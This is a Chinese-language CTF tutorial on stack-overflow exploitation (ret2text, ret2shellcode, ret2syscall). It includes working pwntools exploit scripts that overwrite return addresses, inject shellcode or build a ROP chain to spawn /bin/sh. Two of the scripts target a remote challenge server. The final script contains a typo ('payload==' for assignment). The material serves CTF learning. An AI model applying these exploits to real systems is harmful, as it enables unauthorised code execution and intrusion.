ret2text&&shellcode&&syscall
Ret2text
ret2text 即控制程序执行程序本身已有的的代码 (一般为.text段代码)。
这种方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码
利用条件:
程序本身存在可以getshell的代码
利用方式:
1.找到溢出点
2.覆盖返回地址到getshell的代码
常用的getshell函数:
system("/bin/sh");
execve("/bin/sh",0,0); 一般用在syscall中
system("$0");
例:
程序使用read输入0x200字节到buf
但buf只有0x80个长度,此处存在溢出溢出范围为+0x88到+0x200
审计代码,发现存在callsystem(0x0000000000400596)函数可以直接获得shell
劫持RIP到callsystem可以拿到shell
EXP:
from pwn import
p=remote("106.12.39.38",11001)
sysaddr=0x0000000000400596
payload='a'*136+p64(sysaddr)
p.sendline(payload)
p.interactive()
例2:
程序不存在现成的system("/bin/sh")
但是存在"/bin/sh"字符串与system函数
可以将"/bin/sh"字符串的地址作为参数给system使用
找到溢出点
读入0x100 buf长度0x80,有溢出
EXP:
from pwn import *
p=remote("106.12.39.38",11003)
binaddr=0x0804A024
sysaddr=0x08048320
payload='a'*0x88+'a'*4+p32(sysaddr)+p32(0)+p32(binaddr) #p32(0)为system函数的返回地址,p32(binaddr)为system函数的参数
p.sendline(payload)
p.interactive()
Ret2shellcode
return to shellcode,即让程序中某个函数执行结束后,返回到shellcode的地址去执行shellcode,得到shell ; ret2shellcode是栈溢出中一种简单而且常规的操作。
利用条件:
程序未开启NX保护(栈可执行)
利用方式:
1.确认栈执行保护没有开启
2.找到溢出点【当可溢出长度过小时,可能需要将栈迁移到长度足够的地方】
3.找到栈的地址(当shellcode被写在栈上时,shellcode的地址)
4.在栈上写入shellcode,并将返回地址覆盖为shellcode的地址
5.当程序运行至ret时即可获取shell(某些程序不会自动执行ret,需要手动(gadget/程序本身具有的指令)来使程序执行ret)
例
EXP:
from pwn import *
p = process('./ret2shellcode')
context.log_level = 'debug'
buf2_addr = 0x804a080 #存储shellcode的地址 ,位于bss段,未开启PIE 因此bss地址不变
shellcode=asm(shellcraft.sh())
x = shellcode.ljust(112,'a')
p.recvuntil('No system for you this time !!!\n')
p.sendline(x + p32(buf2_addr))
p.interactive()
Ret2syscall
return to syscall,即让程序中某个函数执行结束后,返回到程序中本身具有的syscall(
x64)/INT80h(x86)的地址去执行syscall,syscall具体执行什么指令由eax/rax决定,
syscall的参数存储在寄存器中
在32位程序中,使用 %ebx %ecx %edx %esx %edi 依次保存参数,使用%eax来保存调用号
在64位程序中,使用 %rdi %rsi %rdx %rcx %r8 %r9 依次保存参数 ,使用%rax保存调用号
利用条件:
程序存在syscall(int 80h),如果是64位程序,还必须有适合的gadget来进行参数传递
利用方式:
1.找到溢出点
2.syscall(int 80h)的地址
3.传递参数
4.调用syscall
例:rop
- 使用ROPgadget查看可用的gadget
本题使用静态编译,不调用libc库,无法通过泄露libc来调用程序未使用的其他函数 如system
发现存在int 0x80 ,本题可以使用ret2syscall
发现存在/bin/sh 字符串 地址为0x80be408
- 找到其他gadget的地址来进行参数传递
我们想使用的命令是execve("/bin/sh",0,0)
查表可知execve的系统调用号为11 即0xb
需要将寄存器布局为:
%eax 0xb
%ebx binsh_addr
%ecx 0
%edx 0
找到pop eax;ret地址为0x080bb196
Pop edx; pop ecx; pop ebx; ret :0x0806eb90
- 构建payload并获取shell
payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)
Exp:
from pwn import *
sh=process('/mnt/hgfs/Desktop/ctf-challenges-master/ctf-challenges-master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload=='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)
sh.sendline(payload)
sh.interactive()